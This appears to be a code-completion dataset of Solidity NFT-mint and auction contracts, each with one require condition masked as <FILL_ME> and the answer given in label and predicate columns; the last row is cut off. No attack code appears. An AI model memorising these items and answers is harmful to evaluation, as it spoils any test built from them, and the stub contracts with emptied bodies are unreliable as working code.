comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"MAX_MINT" | pragma solidity ^0.8.0;
contract TRexSapiensOrder is Ownable, ERC721A, ReentrancyGuard {
uint private MAX_SUPPLY = 5959;
uint private constant MAX_PER_WALLET = 5;
bytes32 public firstSaleMerkleRoot;
mapping(address => uint256) public firstSaleClaimed;
mapping(address => bool) public firstSaleClaimedChecker;
bytes32 public secondSaleMerkleRoot;
mapping(address => uint256) public secondSaleClaimed;
mapping(address => bool) public secondSaleClaimedChecker;
struct SaleConfig {
uint32 publicSaleStartTime;
uint64 firstSalePrice;
uint64 secondSalePrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
constructor() ERC721A("T Rex Sapiens Order", "TREX") {}
modifier callerIsUser() {
}
function gift(address[] calldata receivers) external onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < receivers.length; i++) {
_safeMint(receivers[i], 1);
}
}
function reserveGiveaway(uint256 num, address walletAddress)
public
onlyOwner
{
}
function firstSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function secondSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
}
function refundIfOver(uint256 price) private {
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
}
function setupSaleInfo(
uint64 firstSalePriceWei,
uint64 secondSalePriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
}
function setPublicSaleKey(uint32 key) external onlyOwner {
}
function setPublicPrice(uint64 price) external onlyOwner {
}
function setFirstSalePrice(uint64 price) external onlyOwner {
}
function setSecondSalePrice(uint64 price) external onlyOwner {
}
function setPublicSaleStartTime(uint32 time) external onlyOwner {
}
function setFirstSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setSecondSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setMaxSupply(uint number) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| totalSupply()+receivers.length<=MAX_SUPPLY,"MAX_MINT" | 78,583 | totalSupply()+receivers.length<=MAX_SUPPLY |
"Exceeds total supply" | pragma solidity ^0.8.0;
contract TRexSapiensOrder is Ownable, ERC721A, ReentrancyGuard {
uint private MAX_SUPPLY = 5959;
uint private constant MAX_PER_WALLET = 5;
bytes32 public firstSaleMerkleRoot;
mapping(address => uint256) public firstSaleClaimed;
mapping(address => bool) public firstSaleClaimedChecker;
bytes32 public secondSaleMerkleRoot;
mapping(address => uint256) public secondSaleClaimed;
mapping(address => bool) public secondSaleClaimedChecker;
struct SaleConfig {
uint32 publicSaleStartTime;
uint64 firstSalePrice;
uint64 secondSalePrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
constructor() ERC721A("T Rex Sapiens Order", "TREX") {}
modifier callerIsUser() {
}
function gift(address[] calldata receivers) external onlyOwner {
}
function reserveGiveaway(uint256 num, address walletAddress)
public
onlyOwner
{
require(<FILL_ME>)
_safeMint(walletAddress, num);
}
function firstSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function secondSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
}
function refundIfOver(uint256 price) private {
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
}
function setupSaleInfo(
uint64 firstSalePriceWei,
uint64 secondSalePriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
}
function setPublicSaleKey(uint32 key) external onlyOwner {
}
function setPublicPrice(uint64 price) external onlyOwner {
}
function setFirstSalePrice(uint64 price) external onlyOwner {
}
function setSecondSalePrice(uint64 price) external onlyOwner {
}
function setPublicSaleStartTime(uint32 time) external onlyOwner {
}
function setFirstSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setSecondSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setMaxSupply(uint number) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| totalSupply()+num<=MAX_SUPPLY,"Exceeds total supply" | 78,583 | totalSupply()+num<=MAX_SUPPLY |
"Invalid Merkle Proof." | pragma solidity ^0.8.0;
contract TRexSapiensOrder is Ownable, ERC721A, ReentrancyGuard {
uint private MAX_SUPPLY = 5959;
uint private constant MAX_PER_WALLET = 5;
bytes32 public firstSaleMerkleRoot;
mapping(address => uint256) public firstSaleClaimed;
mapping(address => bool) public firstSaleClaimedChecker;
bytes32 public secondSaleMerkleRoot;
mapping(address => uint256) public secondSaleClaimed;
mapping(address => bool) public secondSaleClaimedChecker;
struct SaleConfig {
uint32 publicSaleStartTime;
uint64 firstSalePrice;
uint64 secondSalePrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
constructor() ERC721A("T Rex Sapiens Order", "TREX") {}
modifier callerIsUser() {
}
function gift(address[] calldata receivers) external onlyOwner {
}
function reserveGiveaway(uint256 num, address walletAddress)
public
onlyOwner
{
}
function firstSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
uint256 price = uint256(saleConfig.firstSalePrice);
require(price != 0, "sale has not begun yet");
if (!firstSaleClaimedChecker[msg.sender]) {
firstSaleClaimedChecker[msg.sender] = true;
firstSaleClaimed[msg.sender] = MAX_SUPPLY;
}
require(firstSaleClaimed[msg.sender] > 0, "Address already minted num of tokens allowed");
firstSaleClaimed[msg.sender] = firstSaleClaimed[msg.sender] - quantity;
_safeMint(msg.sender, quantity);
refundIfOver(price * quantity);
}
function secondSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
}
function refundIfOver(uint256 price) private {
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
}
function setupSaleInfo(
uint64 firstSalePriceWei,
uint64 secondSalePriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
}
function setPublicSaleKey(uint32 key) external onlyOwner {
}
function setPublicPrice(uint64 price) external onlyOwner {
}
function setFirstSalePrice(uint64 price) external onlyOwner {
}
function setSecondSalePrice(uint64 price) external onlyOwner {
}
function setPublicSaleStartTime(uint32 time) external onlyOwner {
}
function setFirstSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setSecondSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setMaxSupply(uint number) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| MerkleProof.verify(_merkleProof,firstSaleMerkleRoot,leaf),"Invalid Merkle Proof." | 78,583 | MerkleProof.verify(_merkleProof,firstSaleMerkleRoot,leaf) |
"Address already minted num of tokens allowed" | pragma solidity ^0.8.0;
contract TRexSapiensOrder is Ownable, ERC721A, ReentrancyGuard {
uint private MAX_SUPPLY = 5959;
uint private constant MAX_PER_WALLET = 5;
bytes32 public firstSaleMerkleRoot;
mapping(address => uint256) public firstSaleClaimed;
mapping(address => bool) public firstSaleClaimedChecker;
bytes32 public secondSaleMerkleRoot;
mapping(address => uint256) public secondSaleClaimed;
mapping(address => bool) public secondSaleClaimedChecker;
struct SaleConfig {
uint32 publicSaleStartTime;
uint64 firstSalePrice;
uint64 secondSalePrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
constructor() ERC721A("T Rex Sapiens Order", "TREX") {}
modifier callerIsUser() {
}
function gift(address[] calldata receivers) external onlyOwner {
}
function reserveGiveaway(uint256 num, address walletAddress)
public
onlyOwner
{
}
function firstSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, firstSaleMerkleRoot, leaf),
"Invalid Merkle Proof.");
uint256 price = uint256(saleConfig.firstSalePrice);
require(price != 0, "sale has not begun yet");
if (!firstSaleClaimedChecker[msg.sender]) {
firstSaleClaimedChecker[msg.sender] = true;
firstSaleClaimed[msg.sender] = MAX_SUPPLY;
}
require(<FILL_ME>)
firstSaleClaimed[msg.sender] = firstSaleClaimed[msg.sender] - quantity;
_safeMint(msg.sender, quantity);
refundIfOver(price * quantity);
}
function secondSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
}
function refundIfOver(uint256 price) private {
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
}
function setupSaleInfo(
uint64 firstSalePriceWei,
uint64 secondSalePriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
}
function setPublicSaleKey(uint32 key) external onlyOwner {
}
function setPublicPrice(uint64 price) external onlyOwner {
}
function setFirstSalePrice(uint64 price) external onlyOwner {
}
function setSecondSalePrice(uint64 price) external onlyOwner {
}
function setPublicSaleStartTime(uint32 time) external onlyOwner {
}
function setFirstSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setSecondSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setMaxSupply(uint number) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| firstSaleClaimed[msg.sender]>0,"Address already minted num of tokens allowed" | 78,583 | firstSaleClaimed[msg.sender]>0 |
"Invalid Merkle Proof." | pragma solidity ^0.8.0;
contract TRexSapiensOrder is Ownable, ERC721A, ReentrancyGuard {
uint private MAX_SUPPLY = 5959;
uint private constant MAX_PER_WALLET = 5;
bytes32 public firstSaleMerkleRoot;
mapping(address => uint256) public firstSaleClaimed;
mapping(address => bool) public firstSaleClaimedChecker;
bytes32 public secondSaleMerkleRoot;
mapping(address => uint256) public secondSaleClaimed;
mapping(address => bool) public secondSaleClaimedChecker;
struct SaleConfig {
uint32 publicSaleStartTime;
uint64 firstSalePrice;
uint64 secondSalePrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
constructor() ERC721A("T Rex Sapiens Order", "TREX") {}
modifier callerIsUser() {
}
function gift(address[] calldata receivers) external onlyOwner {
}
function reserveGiveaway(uint256 num, address walletAddress)
public
onlyOwner
{
}
function firstSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function secondSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
uint256 price = uint256(saleConfig.secondSalePrice);
if (!secondSaleClaimedChecker[msg.sender]) {
secondSaleClaimedChecker[msg.sender] = true;
secondSaleClaimed[msg.sender] = 5;
}
require(secondSaleClaimed[msg.sender] > 0, "Address already minted num of tokens allowed");
secondSaleClaimed[msg.sender] = secondSaleClaimed[msg.sender] - quantity;
_safeMint(msg.sender, quantity);
refundIfOver(price * quantity);
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
}
function refundIfOver(uint256 price) private {
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
}
function setupSaleInfo(
uint64 firstSalePriceWei,
uint64 secondSalePriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
}
function setPublicSaleKey(uint32 key) external onlyOwner {
}
function setPublicPrice(uint64 price) external onlyOwner {
}
function setFirstSalePrice(uint64 price) external onlyOwner {
}
function setSecondSalePrice(uint64 price) external onlyOwner {
}
function setPublicSaleStartTime(uint32 time) external onlyOwner {
}
function setFirstSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setSecondSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setMaxSupply(uint number) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| MerkleProof.verify(_merkleProof,secondSaleMerkleRoot,leaf),"Invalid Merkle Proof." | 78,583 | MerkleProof.verify(_merkleProof,secondSaleMerkleRoot,leaf) |
"Address already minted num of tokens allowed" | pragma solidity ^0.8.0;
contract TRexSapiensOrder is Ownable, ERC721A, ReentrancyGuard {
uint private MAX_SUPPLY = 5959;
uint private constant MAX_PER_WALLET = 5;
bytes32 public firstSaleMerkleRoot;
mapping(address => uint256) public firstSaleClaimed;
mapping(address => bool) public firstSaleClaimedChecker;
bytes32 public secondSaleMerkleRoot;
mapping(address => uint256) public secondSaleClaimed;
mapping(address => bool) public secondSaleClaimedChecker;
struct SaleConfig {
uint32 publicSaleStartTime;
uint64 firstSalePrice;
uint64 secondSalePrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
constructor() ERC721A("T Rex Sapiens Order", "TREX") {}
modifier callerIsUser() {
}
function gift(address[] calldata receivers) external onlyOwner {
}
function reserveGiveaway(uint256 num, address walletAddress)
public
onlyOwner
{
}
function firstSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function secondSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, secondSaleMerkleRoot, leaf),
"Invalid Merkle Proof.");
uint256 price = uint256(saleConfig.secondSalePrice);
if (!secondSaleClaimedChecker[msg.sender]) {
secondSaleClaimedChecker[msg.sender] = true;
secondSaleClaimed[msg.sender] = 5;
}
require(<FILL_ME>)
secondSaleClaimed[msg.sender] = secondSaleClaimed[msg.sender] - quantity;
_safeMint(msg.sender, quantity);
refundIfOver(price * quantity);
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
}
function refundIfOver(uint256 price) private {
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
}
function setupSaleInfo(
uint64 firstSalePriceWei,
uint64 secondSalePriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
}
function setPublicSaleKey(uint32 key) external onlyOwner {
}
function setPublicPrice(uint64 price) external onlyOwner {
}
function setFirstSalePrice(uint64 price) external onlyOwner {
}
function setSecondSalePrice(uint64 price) external onlyOwner {
}
function setPublicSaleStartTime(uint32 time) external onlyOwner {
}
function setFirstSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setSecondSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setMaxSupply(uint number) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| secondSaleClaimed[msg.sender]>0,"Address already minted num of tokens allowed" | 78,583 | secondSaleClaimed[msg.sender]>0 |
"public sale has not begun yet" | pragma solidity ^0.8.0;
contract TRexSapiensOrder is Ownable, ERC721A, ReentrancyGuard {
uint private MAX_SUPPLY = 5959;
uint private constant MAX_PER_WALLET = 5;
bytes32 public firstSaleMerkleRoot;
mapping(address => uint256) public firstSaleClaimed;
mapping(address => bool) public firstSaleClaimedChecker;
bytes32 public secondSaleMerkleRoot;
mapping(address => uint256) public secondSaleClaimed;
mapping(address => bool) public secondSaleClaimedChecker;
struct SaleConfig {
uint32 publicSaleStartTime;
uint64 firstSalePrice;
uint64 secondSalePrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
constructor() ERC721A("T Rex Sapiens Order", "TREX") {}
modifier callerIsUser() {
}
function gift(address[] calldata receivers) external onlyOwner {
}
function reserveGiveaway(uint256 num, address walletAddress)
public
onlyOwner
{
}
function firstSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function secondSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
SaleConfig memory config = saleConfig;
uint256 publicSaleKey = uint256(config.publicSaleKey);
uint256 publicPrice = uint256(config.publicPrice);
uint256 publicSaleStartTime = uint256(config.publicSaleStartTime);
require(
publicSaleKey == callerPublicSaleKey,
"called with incorrect public sale key"
);
require(<FILL_ME>)
require(
totalSupply() + quantity <= MAX_SUPPLY,
"reached max supply"
);
require(
numberMinted(msg.sender) + quantity <= MAX_PER_WALLET,
"this wallet cannot mint any more"
);
_safeMint(msg.sender, quantity);
refundIfOver(publicPrice * quantity);
}
function refundIfOver(uint256 price) private {
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
}
function setupSaleInfo(
uint64 firstSalePriceWei,
uint64 secondSalePriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
}
function setPublicSaleKey(uint32 key) external onlyOwner {
}
function setPublicPrice(uint64 price) external onlyOwner {
}
function setFirstSalePrice(uint64 price) external onlyOwner {
}
function setSecondSalePrice(uint64 price) external onlyOwner {
}
function setPublicSaleStartTime(uint32 time) external onlyOwner {
}
function setFirstSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setSecondSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setMaxSupply(uint number) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| isPublicSaleOn(publicPrice,publicSaleKey,publicSaleStartTime),"public sale has not begun yet" | 78,583 | isPublicSaleOn(publicPrice,publicSaleKey,publicSaleStartTime) |
"this wallet cannot mint any more" | pragma solidity ^0.8.0;
contract TRexSapiensOrder is Ownable, ERC721A, ReentrancyGuard {
uint private MAX_SUPPLY = 5959;
uint private constant MAX_PER_WALLET = 5;
bytes32 public firstSaleMerkleRoot;
mapping(address => uint256) public firstSaleClaimed;
mapping(address => bool) public firstSaleClaimedChecker;
bytes32 public secondSaleMerkleRoot;
mapping(address => uint256) public secondSaleClaimed;
mapping(address => bool) public secondSaleClaimedChecker;
struct SaleConfig {
uint32 publicSaleStartTime;
uint64 firstSalePrice;
uint64 secondSalePrice;
uint64 publicPrice;
uint32 publicSaleKey;
}
SaleConfig public saleConfig;
constructor() ERC721A("T Rex Sapiens Order", "TREX") {}
modifier callerIsUser() {
}
function gift(address[] calldata receivers) external onlyOwner {
}
function reserveGiveaway(uint256 num, address walletAddress)
public
onlyOwner
{
}
function firstSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function secondSaleMint(bytes32[] calldata _merkleProof, uint256 quantity) external payable callerIsUser {
}
function publicSaleMint(uint256 quantity, uint256 callerPublicSaleKey)
external
payable
callerIsUser
{
SaleConfig memory config = saleConfig;
uint256 publicSaleKey = uint256(config.publicSaleKey);
uint256 publicPrice = uint256(config.publicPrice);
uint256 publicSaleStartTime = uint256(config.publicSaleStartTime);
require(
publicSaleKey == callerPublicSaleKey,
"called with incorrect public sale key"
);
require(
isPublicSaleOn(publicPrice, publicSaleKey, publicSaleStartTime),
"public sale has not begun yet"
);
require(
totalSupply() + quantity <= MAX_SUPPLY,
"reached max supply"
);
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
refundIfOver(publicPrice * quantity);
}
function refundIfOver(uint256 price) private {
}
function isPublicSaleOn(
uint256 publicPriceWei,
uint256 publicSaleKey,
uint256 publicSaleStartTime
) public view returns (bool) {
}
function setupSaleInfo(
uint64 firstSalePriceWei,
uint64 secondSalePriceWei,
uint64 publicPriceWei,
uint32 publicSaleStartTime
) external onlyOwner {
}
function setPublicSaleKey(uint32 key) external onlyOwner {
}
function setPublicPrice(uint64 price) external onlyOwner {
}
function setFirstSalePrice(uint64 price) external onlyOwner {
}
function setSecondSalePrice(uint64 price) external onlyOwner {
}
function setPublicSaleStartTime(uint32 time) external onlyOwner {
}
function setFirstSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setSecondSaleMerkleRoot(bytes32 merkle_root) external onlyOwner {
}
function setMaxSupply(uint number) external onlyOwner {
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| numberMinted(msg.sender)+quantity<=MAX_PER_WALLET,"this wallet cannot mint any more" | 78,583 | numberMinted(msg.sender)+quantity<=MAX_PER_WALLET |
'Auction has already been settled' | // SPDX-License-Identifier: GPL-3.0
// ████████████████████████████████████████████████
// ████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████
// ████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████
// ████░░░░▓▓▓▓▓▓▓▓▓▓▓▓░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░████
// ████░░░░▓▓▓▓▓▓▓▓▓▓▓▓░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░░░████████
// ████░░░░▓▓▓▓▓▓▓▓▓▓▓▓░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░░░████████
// ████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████
// ████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████
// ████████████████████████████████████████████████
// LICENSE
// PhunksAuctionHouse.sol is a modified version of Zora's AuctionHouse.sol:
// https://github.com/ourzora/auction-house/blob/54a12ec1a6cf562e49f0a4917990474b11350a2d/contracts/AuctionHouse.sol
//
// AuctionHouse.sol source code Copyright Zora licensed under the GPL-3.0 license.
// With modifications by Nounders DAO and ogkenobi.eth
// Not affiliated with Not Larva Labs
pragma solidity ^0.8.15;
import { Pausable } from '@openzeppelin/contracts/security/Pausable.sol';
import { ReentrancyGuard } from '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import { Ownable } from '@openzeppelin/contracts/access/Ownable.sol';
import { IERC20 } from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { IPhunksAuctionHouse } from './interfaces/IPhunksAuctionHouse.sol';
import { IPhunksToken } from './interfaces/IPhunksToken.sol';
import { IWETH } from './interfaces/IWETH.sol';
contract PhunksAuctionHouse is IPhunksAuctionHouse, Pausable, ReentrancyGuard, Ownable {
// The Phunks ERC721 token contract
IPhunksToken public phunks;
// The address of the WETH contract
address public weth;
// The minimum amount of time left in an auction after a new bid is created
uint256 public timeBuffer;
// The minimum price accepted in an auction
uint256 public reservePrice;
// The minimum percentage difference between the last bid amount and the current bid
uint8 public minBidIncrementPercentage;
// The duration of a single auction
uint256 public duration;
// The active auction
IPhunksAuctionHouse.Auction public auction;
// The Treasury wallet
address public treasuryWallet;
/**
* @notice Initialize the auction house and base contracts,
* populate configuration values, and pause the contract.
* @dev This function can only be called once.
*/
function initialize(
IPhunksToken _phunks,
address _weth,
uint256 _timeBuffer,
uint256 _reservePrice,
uint8 _minBidIncrementPercentage,
uint256 _duration,
address _treasuryWallet
) public onlyOwner {
}
/**
* @notice Settle the current auction, mint a new Phunk, and put it up for auction.
*/
function settleCurrentAndCreateNewAuction() external override nonReentrant whenNotPaused {
}
/**
* @notice Settle the current auction.
* @dev This function can only be called when the contract is paused.
*/
function settleAuction() external override whenPaused nonReentrant {
}
/**
* @notice Create a bid for a Phunk, with a given amount.
* @dev This contract only accepts payment in ETH.
*/
function createBid(uint256 phunkId) external payable override nonReentrant {
}
/**
* @notice Pause the Phunks auction house.
* @dev This function can only be called by the owner when the
* contract is unpaused. While no new auctions can be started when paused,
* anyone can settle an ongoing auction.
*/
function pause() external override onlyOwner {
}
/**
* @notice Unpause the Phunks auction house.
* @dev This function can only be called by the owner when the
* contract is paused. If required, this function will start a new auction.
*/
function unpause() external override onlyOwner {
}
/**
* @notice Set the treausury wallet address.
* @dev Only callable by the owner.
*/
function setTreasuryWallet(address _treasuryWallet) public onlyOwner {
}
/**
* @notice Set the auction time buffer.
* @dev Only callable by the owner.
*/
function setTimeBuffer(uint256 _timeBuffer) external override onlyOwner {
}
/**
* @notice Set the auction reserve price.
* @dev Only callable by the owner.
*/
function setReservePrice(uint256 _reservePrice) external override onlyOwner {
}
/**
* @notice Set the auction minimum bid increment percentage.
* @dev Only callable by the owner.
*/
function setMinBidIncrementPercentage(uint8 _minBidIncrementPercentage) external override onlyOwner {
}
/**
* @notice Generates a big random number on the cheap.
*
*/
function _getRand() internal view returns(uint256) {
}
/**
* @notice Create an auction.
* @dev Store the auction details in the `auction` state variable and emit an AuctionCreated event.
* If the mint reverts, the minter was updated without pausing this contract first. To remedy this,
* catch the revert and pause this contract.
*/
function _createAuction() internal {
}
/**
* @notice Create an speacial auction for specific phunkID
* @dev Store the auction details in the `auction` state variable and emit an AuctionCreated event.
* If the mint reverts, the minter was updated without pausing this contract first. To remedy this,
* catch the revert and pause this contract.
*/
function createSpecialAuction(uint256 _phunkId, uint256 _endTime) public onlyOwner {
}
/**
* @notice Settle an auction, finalizing the bid and paying out to the owner.
* @dev If there are no bids, the Phunk is burned.
*/
function _settleAuction() internal {
IPhunksAuctionHouse.Auction memory _auction = auction;
require(_auction.startTime != 0, "Auction hasn't begun");
require(<FILL_ME>)
require(block.timestamp >= _auction.endTime, "Auction hasn't completed");
auction.settled = true;
if (_auction.bidder != address(0)) {
phunks.transferFrom(address(treasuryWallet), _auction.bidder, _auction.phunkId);
}
if (_auction.amount > 0) {
_safeTransferETHWithFallback(treasuryWallet, _auction.amount);
}
emit AuctionSettled(_auction.phunkId, _auction.bidder, _auction.amount);
}
/**
* @notice Transfer ETH. If the ETH transfer fails, wrap the ETH and try send it as WETH.
*/
function _safeTransferETHWithFallback(address to, uint256 amount) internal {
}
/**
* @notice Transfer ETH and return the success status.
* @dev This function only forwards 30,000 gas to the callee.
*/
function _safeTransferETH(address to, uint256 value) internal returns (bool) {
}
}
| !_auction.settled,'Auction has already been settled' | 78,719 | !_auction.settled |
"Insufficient reward tokens" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IUniRouter02.sol";
import "./interfaces/IWETH.sol";
interface IToken {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
}
contract YieldilizerBoostStaking is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
bool public isInitialized;
uint256 public duration = 365;
bool public hasUserLimit;
uint256 public poolLimitPerUser;
uint256 public startBlock;
uint256 public bonusEndBlock;
uint256 public slippageFactor = 800; // 20% default slippage tolerance
uint256 public constant slippageFactorUL = 995;
address public uniRouterAddress;
address[] public reflectionToStakedPath;
address[] public earnedToStakedPath;
address public walletA;
address public treasuryWallet = 0x63ED01F0dfe1cbD3Eb2631E9BE998B40a211BA54;
uint256 public performanceFee = 0.00089 ether;
uint256 public PRECISION_FACTOR;
uint256 public PRECISION_FACTOR_REFLECTION;
IERC20 public stakingToken;
IERC20 public earnedToken;
address public dividendToken;
uint256 public accDividendPerShare;
uint256 public totalStaked;
uint256 private totalEarned;
uint256 private totalReflections;
uint256 private reflections;
uint256 private paidRewards;
uint256 private shouldTotalPaid;
struct Lockup {
uint8 stakeType;
uint256 duration;
uint256 depositFee;
uint256 withdrawFee;
uint256 rate;
uint256 accTokenPerShare;
uint256 lastRewardBlock;
uint256 totalStaked;
uint256 totalStakedLimit;
}
struct UserInfo {
